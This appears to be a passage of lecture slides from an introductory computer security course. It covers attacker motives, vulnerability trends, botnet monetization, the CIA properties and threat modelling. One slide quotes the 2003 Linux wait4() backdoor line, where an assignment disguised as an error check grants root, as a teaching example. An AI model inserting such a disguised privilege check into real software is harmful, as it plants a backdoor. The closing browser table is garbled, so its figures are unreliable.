Introduction

Security Analysis & Threat Models
Adminstrivia

• Piazza – Primary point of contact
• Course text book – None!
• No office hours, discussion this week
  – Starts Sept 5th
• If you can’t make discussion...
• No lecture next Monday, Sept 3rd
What is Computer Security?

• Allow intended use of computer systems

• Prevent unintended use that may cause harm
Grant authorized users access to read, create personal files
Prevent unauthorized users from reading, modify, or deleting personal
Banking Funds

Allow customer to view balance, transfer funds, make payments
Prevent third party access to account; customers defrauding bank
Prevent other browser tabs, applications from reading banking info
Personal Privacy

Allow friends to view status updates, photos, location data
Prevent strangers, advertisers from accessing profile
Prevent strangers, applications from posting updates as you
Threats
 Exploration, Disruption, Personal Reputation

• 1990s:
  – Phone phreaking, free calls

• Early 2000s:
  – Email worms
  – CodeRed, MyDoom, Sobig
Financially Motivated

• Shift in late 2000s
• Spam
  – Pharmaceuticals
  – Fake products
• Carding/Fraud
  – Identify theft, credit fraud
Politically Motivated

• Stuxnet, Flame, Gauss
  – Iranian nuclear infrastructure
  – Lebanese banking information
  – Wiretapping
Politically Motivated
Other Motives?
Current Vulnerability Trends
MITRE tracks vulnerability disclosures

Cumulative Disclosures

Percentage from Web applications

Source: IBM X-Force, Mar 2011
Data: http://cve.mitre.org/
Dawn Song
Operating system vulnerabilities

Vulnerability Disclosures Affecting Operating Systems 2005-2009

Critical and High Vulnerability Disclosures Affecting Operating Systems 2005-2009

Source: IBM X-Force®
Trends in client-side vulnerabilities

Source: IBM X-Force, Mar 2011
Reported Web Vulnerabilities "In the Wild"

Data from aggregator and validator of NVD-reported vulnerabilities
Web vs System vulnerabilities

Number of vulnerabilities

Web vs System vulnerabilities graph showing the peak of XSS vulnerabilities in 2006.
Mobile Operating Systems

Mobile OS Vulnerabilities

Mobile OS Exploits

Compare number of vulnerabilities with exploits. What can you expect next year?

Source: IBM X-Force, Mar 2011
Dawn Song
Summary

• Many current attacks are financially motivated
• Vulnerabilities prevalent, half related to the Web
  – Browser vulnerabilities decreasing, but plug-ins pose risk
  – Some improvements in defending against common attacks
• Mobile platforms receiving increasing attention
Payloads
Why own machines:

1. IP address and bandwidth stealing

Attacker’s goal: look like a random Internet user

Use the infected machine’s IP address for:

- **Spam** (e.g. the storm botnet)
  
  Spamalytics:
  
  1:12M pharma spams leads to purchase
  
  1:260K greeting card spams leads to infection

- **Denial of Service:** Services: 1 hour (20$), 24 hours (100$)

- **Click fraud** (e.g. Clickbot.a)
Why own machines:

2. Steal user credentials
keylog for banking passwords, web passwords, gaming pwds.

Example: SilentBanker (2007)
Why own machines:

3. Spread to isolated systems

Example: **Stuxnet**

Windows infection $\Rightarrow$

Siemens PCS 7 SCADA control software on Windows $\Rightarrow$

Siemens device controller on isolated network

More on this later in course
Server-side attacks

• Financial data theft: often credit card numbers
  – example: malicious software installed on servers of a single retailer stole 45M credit card (2007)

• Political motivation: Aurora, Tunisia Facebook (Feb. 2011)

• Infect visiting users
Example: Mpack (2007)

• PHP-based tools installed on compromised web sites
  – Embedded as an iframe on infected page
  – Infects browsers that visit site

• Features
  – management console provides stats on infection rates
  – Sold for several 100$
  – Customer care can be purchased, one-year support contract

• Impact: 500,000 infected sites (compromised via SQL injection)
  – Several defenses: e.g. Google safe browsing
Insider attacks: example

Hidden trap door in Linux (nov 2003)
- Allows attacker to take over a computer
- Practically undetectable change (uncovered via CVS logs)

Inserted line in wait4()

```c
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;
```

Looks like a standard error check, but ...

See: http://lwn.net/Articles/57135/
Many more examples

• Access to SIPRnet and a CD-RW: 260,000 cables ⇒ Wikileaks

• SysAdmin for city of SF government. Changed passwords, locking out city from router access

• Inside logic bomb took down 2000 UBS servers
Monetization
Marketplace for Vulnerabilities

Option 1: bug bounty programs
• Google Vulnerability Reward Program: 3K $
• Mozilla Bug Bounty program: 500$
• Pwn2Own competition: 15K $

Option 2:
• ZDI, iDefense: 2K – 25K $
## Marketplace for Vulnerabilities

### Option 3: black market

<table>
<thead>
<tr>
<th>Vulnerability/Exploit</th>
<th>Value</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>“Some exploits”</td>
<td>$200,000 - $250,000</td>
<td>A government official referring to what “some people” pay [9]</td>
</tr>
<tr>
<td>a “real good” exploit</td>
<td>over $100,000</td>
<td>Official from SNOsoft research team [10]</td>
</tr>
</tbody>
</table>

Source: Charlie Miller (securityevaluators.com/files/papers/0daymarket.pdf)
Marketplace for owned machines

Pay-per-install (PPI) services

PPI operation:
1. Own victim’s machine
2. Download and install client code
3. Charge client

Source: Caballero et al. (www.icir.org/vern/papers/ppi-usesec11.pdf)
Marketplace for owned machines

Cost:  
US - 100-180$ / 1000 machines

Asia - 7-8$ / 1000 machines

Source: Cabalerro et al. (www.icir.org/vern/papers/ppi-usesec11.pdf)
The computer security problem

Two factors:

• **Lots of buggy software** (and gullible users)

• **Money can be made from finding and exploiting vulns.**

  1. Marketplace for vulnerabilities
  2. Marketplace for owned machines (PPI)
  3. Many methods to profit from owned client machines
Formally Defining Security
What is Computer Security About?

• General goals:
  – Allow intended use of computer systems
  – Prevent unintended use that may cause harm

• More precisely...
Basic Security Properties (I)

• Confidentiality:
  – Information is only disclosed to authorized people or systems
  – E.g., attackers cannot learn your banking info
Basic Security Properties (II)

• Integrity:
  – Information cannot be tampered with in an unauthorized way
  – E.g., attacker cannot change the balance of your bank account
Basic Security Properties (III)

• Availability:
  – Information and services are accessible in a timely fashion to authorized people or systems
  – E.g., you should be able to login and perform transactions on your online banking account when you want to
Basic Security Properties: CIA

- **Confidentiality**
- **Integrity**
- **Availability**
Security Analysis

• Given a computer system, one may ask:

Is the computer system secure?
Is the House Secure?
It Depends ...

- What are the assets? What are the goals?
It Depends ...

• Threat model
  – In SafeLand, you don’t need to lock the door
  – Attackers who pick locks
  – Attackers who drive a bull-dozer
  – Attackers who have super advanced technology
  – Attackers who may know you well
Is the House Secure?

• Is the house’s protection mechanism strong enough to protect the assets from attackers in a certain threat model?
Which Threat Model Should You Choose?
Cost of Security

• Should you always build & evaluate a system secure against the strongest attacker?
  – A student may simply not be able to afford an alarm system

• Not about perfect security

Dawn Song
Is the Computer System Secure?

- Is the system’s protection mechanism strong enough to protect the assets & achieve security goals against attackers in a certain threat model?
Key Elements to Security Analysis

Security properties

Threat Model

Security Analysis

?
Threat Model

- Assumptions on attackers’ abilities and resources
Which Threat Models to Choose?

• For the grade database system for your class?
• For your phone?
• For a major online banking site?
• For the system to control nuclear weapon launch?
Cost of Security

• There’s no free lunch.
• There’s no free security.
• Cost of security
  – Expensive to develop
  – Performance overhead
  – Inconvenience to users
Prioritize Your Security Solution according to Your Threat Model

• No one wants to pay more for security than what they have to lose
• Not about perfect security
  – Risk analysis
Changing Threat Model

• Be careful when your threat model changes
  – E.g., online account

New account, nothing of value; No incentive for attackers

Over time….

Account accumulates value; More incentive for attackers
Design Impacts Cost of Security

• Good system design & architecture can reduce cost of security
# Design Impacts Cost of Security

<table>
<thead>
<tr>
<th>Browser</th>
<th>Known unpatched vulnerabilities</th>
<th>SecurityFocus</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Extremely critical (number / oldest)</td>
<td>Highly critical (number / oldest)</td>
</tr>
<tr>
<td>Google Chrome 16</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Internet Explorer 6</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Internet Explorer 7</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Internet Explorer 8</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Internet Explorer 9</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Firefox 3.6</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Firefox 9</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Opera 11</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Safari 5</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>


End of Segment